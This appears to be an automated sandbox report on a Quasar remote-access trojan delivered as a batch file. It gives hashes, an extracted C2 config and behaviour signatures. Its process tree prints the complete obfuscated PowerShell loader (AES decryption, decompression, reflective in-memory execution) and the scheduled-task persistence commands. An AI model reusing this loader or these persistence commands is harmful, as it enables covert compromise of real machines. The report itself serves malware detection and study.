Analysis
- max time kernel
1480s - max time network
1494s - platform
windows11-21h2_x64 - resource
win11-20240426-en - resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system - submitted
04/05/2024, 16:11
Static task
static1
Behavioral task
behavioral1
Sample
Client-built.bat
Resource
win10v2004-20240419-en
13 signatures
1800 seconds
General
- Target Client-built.bat
- Size 1.6MB
- Sample240504-tm529sdg34
- SHA256 06004c75186a2f0a187d10300b87540ec5bd34658841e5420b4c758e4c9ad15a
- MD5 13e150bd8dbd1a780991c7d0c20e7848
- SHA1 2f33f150990477e9ac065e1dcac044b22924f357
- SHA512 aa52e796065ebb0d2b37c3680948bce0ec8a10a8b1a57e9b0f0c2454f4deb1e2a2e0c9a199af5c18d48c0fbe7fcb814807532c42f290ad440f22b3d1fa863f53
- SSDEEP 24576:tYLa0XlLG3Ubw7Kjcy2biu6YhlZHIz2IU10pfjWazgcpyDQSZjlTsM1L+onj:txUNGmwMcyhuTTeUqjJxpBaqU
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
Office04
C2
-
looking-memphis.gl.at.ply.gg:45119
Mutex
-
7449fc1c-3e16-4f82-9cd4-9666eca50c7a
Attributes
-
encryption_key
41617950829C8403E84A991BFE273EF530684F0A
-
install_name
wsappx.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
startup
-
subdirectory
SubDir
Signatures
- Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/3480-48-0x000001BC4BA60000-0x000001BC4BD84000-memory.dmp family_quasar - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 1740 powershell.exe 3480 powershell.exe 2180 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 5100 wsappx.exe - Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\SubDir\wsappx.exe powershell.exe File opened for modification C:\Windows\system32\SubDir\wsappx.exe powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3436 schtasks.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2994005945-4089876968-1367784197-1000_Classes\Local Settings powershell.exe - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 2180 powershell.exe 2180 powershell.exe 1740 powershell.exe 1740 powershell.exe 3480 powershell.exe 3480 powershell.exe 5100 wsappx.exe 5100 wsappx.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2180 powershell.exe Token: SeDebugPrivilege 1740 powershell.exe Token: SeIncreaseQuotaPrivilege 1740 powershell.exe Token: SeSecurityPrivilege 1740 powershell.exe Token: SeTakeOwnershipPrivilege 1740 powershell.exe Token: SeLoadDriverPrivilege 1740 powershell.exe Token: SeSystemProfilePrivilege 1740 powershell.exe Token: SeSystemtimePrivilege 1740 powershell.exe Token: SeProfSingleProcessPrivilege 1740 powershell.exe Token: SeIncBasePriorityPrivilege 1740 powershell.exe Token: SeCreatePagefilePrivilege 1740 powershell.exe Token: SeBackupPrivilege 1740 powershell.exe Token: SeRestorePrivilege 1740 powershell.exe Token: SeShutdownPrivilege 1740 powershell.exe Token: SeDebugPrivilege 1740 powershell.exe Token: SeSystemEnvironmentPrivilege 1740 powershell.exe Token: SeRemoteShutdownPrivilege 1740 powershell.exe Token: SeUndockPrivilege 1740 powershell.exe Token: SeManageVolumePrivilege 1740 powershell.exe Token: 33 1740 powershell.exe Token: 34 1740 powershell.exe Token: 35 1740 powershell.exe Token: 36 1740 powershell.exe Token: SeIncreaseQuotaPrivilege 1740 powershell.exe Token: SeSecurityPrivilege 1740 powershell.exe Token: SeTakeOwnershipPrivilege 1740 powershell.exe Token: SeLoadDriverPrivilege 1740 powershell.exe Token: SeSystemProfilePrivilege 1740 powershell.exe Token: SeSystemtimePrivilege 1740 powershell.exe Token: SeProfSingleProcessPrivilege 1740 powershell.exe Token: SeIncBasePriorityPrivilege 1740 powershell.exe Token: SeCreatePagefilePrivilege 1740 powershell.exe Token: SeBackupPrivilege 1740 powershell.exe Token: SeRestorePrivilege 1740 powershell.exe Token: SeShutdownPrivilege 1740 powershell.exe Token: SeDebugPrivilege 1740 powershell.exe Token: SeSystemEnvironmentPrivilege 1740 powershell.exe Token: SeRemoteShutdownPrivilege 1740 powershell.exe Token: SeUndockPrivilege 1740 powershell.exe Token: SeManageVolumePrivilege 1740 powershell.exe Token: 33 1740 powershell.exe Token: 34 1740 powershell.exe Token: 35 1740 powershell.exe Token: 36 1740 powershell.exe Token: SeIncreaseQuotaPrivilege 1740 powershell.exe Token: SeSecurityPrivilege 1740 powershell.exe Token: SeTakeOwnershipPrivilege 1740 powershell.exe Token: SeLoadDriverPrivilege 1740 powershell.exe Token: SeSystemProfilePrivilege 1740 powershell.exe Token: SeSystemtimePrivilege 1740 powershell.exe Token: SeProfSingleProcessPrivilege 1740 powershell.exe Token: SeIncBasePriorityPrivilege 1740 powershell.exe Token: SeCreatePagefilePrivilege 1740 powershell.exe Token: SeBackupPrivilege 1740 powershell.exe Token: SeRestorePrivilege 1740 powershell.exe Token: SeShutdownPrivilege 1740 powershell.exe Token: SeDebugPrivilege 1740 powershell.exe Token: SeSystemEnvironmentPrivilege 1740 powershell.exe Token: SeRemoteShutdownPrivilege 1740 powershell.exe Token: SeUndockPrivilege 1740 powershell.exe Token: SeManageVolumePrivilege 1740 powershell.exe Token: 33 1740 powershell.exe Token: 34 1740 powershell.exe Token: 35 1740 powershell.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 2728 wrote to memory of 2180 2728 cmd.exe 79 PID 2728 wrote to memory of 2180 2728 cmd.exe 79 PID 2180 wrote to memory of 1740 2180 powershell.exe 80 PID 2180 wrote to memory of 1740 2180 powershell.exe 80 PID 2180 wrote to memory of 1388 2180 powershell.exe 83 PID 2180 wrote to memory of 1388 2180 powershell.exe 83 PID 1388 wrote to memory of 124 1388 WScript.exe 84 PID 1388 wrote to memory of 124 1388 WScript.exe 84 PID 124 wrote to memory of 3480 124 cmd.exe 86 PID 124 wrote to memory of 3480 124 cmd.exe 86 PID 3480 wrote to memory of 3436 3480 powershell.exe 87 PID 3480 wrote to memory of 3436 3480 powershell.exe 87 PID 3480 wrote to memory of 5100 3480 powershell.exe 89 PID 3480 wrote to memory of 5100 3480 powershell.exe 89 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E8hCvmUeMUsWpfa3brAd/1aXMO3XXzb+pzD19egglSQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AnbXoV2kRt/+OHt9Ctw2zA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hSolL=New-Object System.IO.MemoryStream(,$param_var); $AwuTV=New-Object System.IO.MemoryStream; $lIACA=New-Object System.IO.Compression.GZipStream($hSolL, [IO.Compression.CompressionMode]::Decompress); $lIACA.CopyTo($AwuTV); $lIACA.Dispose(); $hSolL.Dispose(); $AwuTV.Dispose(); $AwuTV.ToArray();}function execute_function($param_var,$param2_var){ $VJZfC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QcciT=$VJZfC.EntryPoint; $QcciT.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$PAvjd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($WWBou in $PAvjd) { if ($WWBou.StartsWith(':: ')) { $YuNLm=$WWBou.Substring(3); break; }}$payloads_var=[string[]]$YuNLm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2180 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_361_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_361.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1740
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_361.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:1388 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_361.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:124 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E8hCvmUeMUsWpfa3brAd/1aXMO3XXzb+pzD19egglSQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AnbXoV2kRt/+OHt9Ctw2zA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hSolL=New-Object System.IO.MemoryStream(,$param_var); $AwuTV=New-Object System.IO.MemoryStream; $lIACA=New-Object System.IO.Compression.GZipStream($hSolL, [IO.Compression.CompressionMode]::Decompress); $lIACA.CopyTo($AwuTV); $lIACA.Dispose(); $hSolL.Dispose(); $AwuTV.Dispose(); $AwuTV.ToArray();}function execute_function($param_var,$param2_var){ $VJZfC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QcciT=$VJZfC.EntryPoint; $QcciT.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_361.bat';$PAvjd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_361.bat').Split([Environment]::NewLine);foreach ($WWBou in $PAvjd) { if ($WWBou.StartsWith(':: ')) { $YuNLm=$WWBou.Substring(3); break; }}$payloads_var=[string[]]$YuNLm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "startup" /sc ONLOGON /tr "C:\Windows\system32\SubDir\wsappx.exe" /rl HIGHEST /f6⤵
- Creates scheduled task(s)
PID:3436
-
-
C:\Windows\system32\SubDir\wsappx.exe"C:\Windows\system32\SubDir\wsappx.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5100
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
- MD5 df472dcddb36aa24247f8c8d8a517bd7
- SHA1 6f54967355e507294cbc86662a6fbeedac9d7030
- SHA512 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636
- MD5 eb15ee5741b379245ca8549cb0d4ecf8
- SHA1 3555273945abda3402674aea7a4bff65eb71a783
- SHA512 1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1g3dej0z.zvh.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\startup_str_361.bat
- Size 1.6MB
- SHA256 06004c75186a2f0a187d10300b87540ec5bd34658841e5420b4c758e4c9ad15a
- MD5 13e150bd8dbd1a780991c7d0c20e7848
- SHA1 2f33f150990477e9ac065e1dcac044b22924f357
- SHA512 aa52e796065ebb0d2b37c3680948bce0ec8a10a8b1a57e9b0f0c2454f4deb1e2a2e0c9a199af5c18d48c0fbe7fcb814807532c42f290ad440f22b3d1fa863f53
- SSDEEP 24576:tYLa0XlLG3Ubw7Kjcy2biu6YhlZHIz2IU10pfjWazgcpyDQSZjlTsM1L+onj:txUNGmwMcyhuTTeUqjJxpBaqU
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\startup_str_361.vbs
- Size 115B
- SHA256 ff0afef8e8db01a52e5cc66736427409634ee47678e596d287362682416705a2
- MD5 53ab6557719a1ac4a766ffa542b6cb57
- SHA1 f0ec7d3ac3c08f5ab9152b5c79669b42809c311f
- SHA512 e47121bb36d5cfe054de243432fa73689daba0106e9f8b9856654a142bc03367c0975d7b230dbe856fbc2289c8ae5cf3264e5ba047da7ccb11be1556501d76a9
- MD5 SHA1 SHA512
- Path C:\Windows\System32\SubDir\wsappx.exe
- Size 440KB
- SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
- MD5 0e9ccd796e251916133392539572a374
- SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
- SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
- SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
- MD5 SHA1 SHA512 SSDEEP